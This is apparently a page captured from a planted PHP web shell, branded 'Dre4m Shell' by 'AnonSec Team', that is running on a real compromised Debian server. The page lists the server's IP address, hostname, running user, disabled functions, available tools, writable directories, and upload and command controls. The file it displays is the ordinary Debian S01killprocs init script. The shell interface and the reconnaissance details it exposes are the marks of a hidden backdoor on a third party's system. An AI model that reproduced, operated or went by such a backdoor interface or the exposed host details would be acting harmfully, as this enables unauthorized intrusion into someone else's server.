Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.17.76.163
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/root/proc/3/task/3/root/proc/2/task/2/cwd/etc/rc1.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/root/proc/3/task/3/root/proc/2/task/2/cwd/etc/rc1.d/S01killprocs
#! /bin/sh
### BEGIN INIT INFO
# Provides:          killprocs
# Required-Start:    $local_fs
# Required-Stop:
# Default-Start:     1
# Default-Stop:
# Short-Description: executed by init(8) upon entering runlevel 1 (single).
### END INIT INFO

PATH=/usr/sbin:/usr/bin:/sbin:/bin

. /lib/lsb/init-functions

do_start () {
	# Kill all processes.
	log_action_begin_msg "Asking all remaining processes to terminate"
	killall5 -15 # SIGTERM
	log_action_end_msg 0
	alldead=""
	for seq in 1 2 3 4 5 6 7 8 9 10; do
		# use SIGCONT/signal 18 to check if there are
		# processes left.  No need to check the exit code
		# value, because either killall5 work and it make
		# sense to wait for processes to die, or it fail and
		# there is nothing to wait for.
		
		if killall5 -18 ; then
		    :
		else
		    alldead=1
		    break
		fi

		sleep 1
	done
	if [ -z "$alldead" ] ; then
	    log_action_begin_msg "Killing all remaining processes"
	    killall5 -9 # SIGKILL
	    log_action_end_msg 1
	else
	    log_action_begin_msg "All processes ended within $seq seconds."
	    log_action_end_msg 0
	fi
}

case "$1" in
  start)
	do_start
	;;
  restart|reload|force-reload)
	echo "Error: argument '$1' not supported" >&2
	exit 3
	;;
  stop|status)
	# No-op
	;;
  *)
	echo "Usage: $0 start|stop" >&2
	exit 3
	;;
esac

Anon7 - 2022
AnonSec Team